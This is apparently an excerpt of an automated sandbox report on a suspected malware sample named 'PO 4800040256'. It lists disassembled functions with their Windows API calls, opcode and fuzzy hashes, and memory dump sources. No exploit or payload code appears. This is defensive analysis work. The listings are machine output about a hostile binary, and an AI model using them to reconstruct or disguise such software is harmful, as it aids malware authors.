                                                                                                                                                                      • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                      • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                                                                                                                      • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                      • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                                                                                                                      Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DestroyWindow$DeleteObject$IconMove
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1640429340-0
                                                                                                                                                                      • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                      • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                                                                                                                      • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                      • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                                                                                                                      Function 00467E5E Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __fileno__setmode$DebugOutputString_fprintf
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3354276064-0
                                                                                                                                                                      • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                      • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                                                                                                                                                                      • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                      • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                                                                                                                                                                      Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 752480666-0
                                                                                                                                                                      • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                      • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                                                                                                                      • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                      • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                                                                                                                      Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                                                                                                                      • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3275902921-0
                                                                                                                                                                      • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                      • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                                                                                                                      • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                      • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                                                                                                                      Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                                                                                                      • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                                                                                                      • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                                                                                                      • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1413079979-0
                                                                                                                                                                      • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                      • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                                                                                                      • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                      • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                                                                                                      Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                                                                                      • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                                                                                      • __getptd.LIBCMT ref: 004141A8
                                                                                                                                                                      • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                                                                                      • __dosmaperr.LIBCMT ref: 00414201
                                                                                                                                                                        • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                        • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1803633139-0
                                                                                                                                                                      • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                                      • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                                                                                                                      • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                                      • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                                                                                                                      Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3275902921-0
                                                                                                                                                                      • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                      • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                                                                                                                      • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                      • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                                                                                                                      Function 004554B5 Relevance: 9.1, APIs: 6, Instructions: 62windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32 ref: 004554DF
                                                                                                                                                                      • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3691411573-0
                                                                                                                                                                      • Opcode ID: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
                                                                                                                                                                      • Instruction ID: 46bf5c356378f1810468ef4d8dfe2f1c399e91f4bdd480ef4a2643e810f8fbb4
                                                                                                                                                                      • Opcode Fuzzy Hash: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
                                                                                                                                                                      • Instruction Fuzzy Hash: 8B1108713047419BC710DF68DDC8B2A77A8BB14322F400A6AFD14DB2D2D778DC498769
                                                                                                                                                                      Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1814673581-0
                                                                                                                                                                      • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                      • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                                                                                                      • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                      • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                                                                                                      Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                                                                                                      • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                                                                                                      • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                                                                                                      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2833360925-0
                                                                                                                                                                      • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                      • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                                                                                                      • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                      • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                                                                                                      Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                        • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                        • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                      • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                                                                                                      • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                                                                                                      • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                                                                                                      • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                                                                                                      • EndPath.GDI32(?), ref: 0044724E
                                                                                                                                                                      • StrokePath.GDI32(?), ref: 0044725C
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 372113273-0
                                                                                                                                                                      • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                      • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                                                                                                      • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                      • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                                                                                                      Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                                                                                                      • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                                                                                                      • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Virtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4278518827-0
                                                                                                                                                                      • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                      • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                                                                                                      • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                      • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                                                                                                      Function 0044CBD3 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0044CBEF
                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                                                                                                                      • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                                                                                                                      • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
